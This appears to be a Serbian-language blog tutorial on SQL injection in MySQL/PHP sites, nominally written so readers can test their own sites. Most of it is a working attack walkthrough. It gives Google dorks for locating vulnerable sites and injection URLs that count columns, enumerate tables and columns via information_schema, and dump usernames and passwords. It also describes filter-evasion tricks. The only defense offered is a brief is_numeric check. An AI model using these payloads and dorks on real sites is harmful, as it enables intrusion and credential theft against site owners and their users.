Bezbednost

SQL Injection

Šta je SQL Injection?

SQL Injection je jedna od najčešćih metoda napada na sajtove i verovatno je većina ljudi koji se bave programiranjem čula za ovu vrstu napada ili se srela sa ovim problemom. Mi ćemo se ovde pozabaviti MySQL bazom podataka (podrazumevajući da je i vi imate na vašem sajtu) kao bazom koja je trenutno najčešće u upotrebi.

Koji su sajtovi ranjivi i kako ih prepoznati?

Iako neke sajtove jako teško možete prepoznati, postoji nekoliko varijanti od kojih se može poći sa pretpostavkom da su ranjivi. Takvi sajtovi su najčešće sajtovi koji imaju samo jednu ili više skripti koje GET metodom prihvataju parametre i u zavisnosti od tih parametara prikazuju sadržaj u browser-u. Evo primera kako to može da izgleda:

  • http://www.mojsajt.com/index.php?id=12345

Kako neko može doći baš do vašeg sajta i zašto ste mu baš vi interesantni? Stvar je jednostavna, google je alat koji će vrlo jednostavno pomoći bilo kome da pronađe potencijalne sajtove sa bezbednosnim rupama ovog tipa. Kao primer pretrage na google možete uzeti nešto od ova dva:

  • inurl:index.php?id=
  • inurl:faq.php?id=

Sada kada imate listu sajtova, vrlo lako možete proveriti njihovu osetljivost na SQL Injection. Ali, pošto ovde nije tema kako uhakovati nečiji sajt već metode zaštite od upada na vaš sajt, moja preporuka je da proverite svoj sajt ukoliko je on izradjen po gorenavedenim principima.

Ja ću navesti dva načina za proveru ranjivosti i to ću dati na primeru „vašeg“ sajta.

  1. Prvi način je da se na kraju linka u okviru vrednosti parametra koji se prosleđuje doda samo jedan karakter i to jesnostruki apostrof (‘), tako da link sada izgleda ovako http://www.mojsajt.com/index.php?id=12345’
  2. Drugi način je da se na kraju linka doda nešto poput sledećeg obrazca +and+1=2–, tako da link sada izgleda ovako http://www.mojsajt.com/index.php?id=12345+and+1=2–

Ukoliko deo stranice nestane, odnosno zafali neka slika, neki deo teksta, ili se pojavi poruka greške tipa „You have an error in your sql syntax“ to je dobar znak da je sajt ranjiv.

Kako pronaći šta je ranjivo u sql upitu koji vraća rezultate za prikaz na vašoj strani?

Ovo je vrlo jednostavno ali zahteva malo eksperimentisanja i ručnog rada ako nemate neku skriptu koja bi za vas uradila proveru. Počećemo tako što u vrednost parametra koji se šalje dodamo +order+by+5 npr., tako da link izgleda ovako

  • http://www.mojsajt.com/index.php?id=12345+order+by+5

Ukoliko je prikaz strane nepromenjen to je znak da sql upit vraća više od 5 kolona kao rezultat i možete probati sa drugim vrednostima za „order by XX„, npr. 10.

  • http://www.mojsajt.com/index.php?id=12345+order+by+10

Recimo da je sada rezultujuća strana izmenjena, nešto joj nedostaje ili je čak vidljiva neka poruka greške to je znak da requltujući sql upit vraća 9 kolona.

Sada ćemo potražiti šta je ranjivo u kolonama koje se vraćaju kao rezultat. Na link ćemo dodati minus (-) ispred vrednosti parametra, odmah posle znaka jednakosti (=) a na kraju nešto poput +union+select+all+1,2,3,4,5,6,7,8,9– , tako da sada link izgleda

  • http://www.mojsajt.com/index.php?id=-12345+union+select+all+1,2,3,4,5,6,7,8,9–

Ukoliko rezultujuća strana bude takva da na noj budu ispisani svi brojevi od 1 do 9, to je znak da je svaka od kolona ranjiva.

Sledeći korak je pronalazak verzije baze i liste tabela koje postoje u njoj. Ukoliko je verzija mysql-a 5 ili veća onda to neće biti teško dok ćete za starije verzije morati da nagadjate imena tabela. Najčešći nazivi tabela su admins, users, admin, user, member, members i sl. ali ja ću ovog puta preskočiti taj deo jer verzija 5 je već odavno u upotrebi i preovladava u današnjoj upotrebi.

Evo primera kako da proverite verziju baze:

+from+information_schema.tables+where+table_schema=database()– ćemo dodati posle poslednje kolone a umesto prve kolone group_concat(table_name), pa će link izgledati ovako:

  • http://www.mojsajt.com/index.php?id=-12345+union+select+all+group_concat(table_name),2,3,4,5,6,7,8,9+from+information_schema.tables+where+table_schema=database()–

Kao rezulta u prvoj koloni pojaviće se imena tabela.

Sledeće što ćemo uraditi je pronalaženje imena kolona iz tabela koje nas zanimaju. Obično je to tabela korisnika, u mom primeru nazvaćemo je korisnik (može biti user, users, members ili šta god da ste tobili kao rezultat prethodne akcije). Sada će vaš upit izgledati ovako:

  • http://www.mojsajt.com/index.php?id=-12345+union+select+all+group_concat(column_name),2,3,4,5,6,7,9,9+from+information_schema.columns+where+table_name=0x6b6f7269736e696b–

gde je 6b6f7269736e696b heksadecimalna reprezentacija naziva tabele „korisnik„. Različite vrste konverzija stringa možete naći na internetu u velikom broju u online varijanti, jedan od takvih lokacija je i http://www.string-functions.com.

Sada kada smo dobili imena kolona iz tabele korisnik (recimo da su to id, ime, prezime, korisnicko_ime, lozinka, …) možemo preći na preuzimanje podataka

  • http://www.mojsajt.com/index.php?id=-12345+union+select+all+group_concat(korisnicko_ime,0x3a,lozinka),2,3,4,5,6,7,8,9+from+korisnik–

Kao rezultat trebalo bi da dobijemo nešto poput:

perica:cikpogodi
laza:mojasifra123
mika:25031988

Zaobilaženje filtera

Ponekada na sajtovima postoje određeni filteri koji sprečavaju ovako jednostavan pristupo podacima nekim relativno lakim filterima pa je potrebno da malo izmiksujete veličinu slova i da eksperimentišete sa znakom razmaka, pa bi „union“ i „select all“ mogli da izgledaju „UnIOn“ i „seLEcT AlL“ a znakovi razmaka da budu zamenjeni ynakom „+“ kao u mojim primerima ili „/**/ /* pocetk komentara u php a */„.

Zaključak i jednostavna zaštita sajta

Sve ovo gore navedeno je klasičan primer sql injection-a, praktično školski. Nisam ga ovde opisao kako bi nekog od vas naveo da počnete da se bavite takvim stvarima, već da na vrlo jednostavan način kroz primer proverite bezbednost vašeg sajta.

Postoje različite metode zaštite od ovakvih upada na vaš sajt a najjednostavniji je validacija svih prosledjenih parametara. Za to možete koristiti funkcije napisane od vaše strane, upotrebom regularnih izraza ili primenom native funkcija u zavisnosti od programskog jezika kojim je napisan vaš kod. Evo jednostavnog primera za php:

if(!is_numeric($_GET[‘id’]))

{

echo ‘Neki tekst kao poruka greške kada neko proba da doda /’ ili and+1=2′;

}

Mnogo toga o sql injection možte pronaći na internetu, a ja ću kao jedan o linkova navesti Wikipedia-u.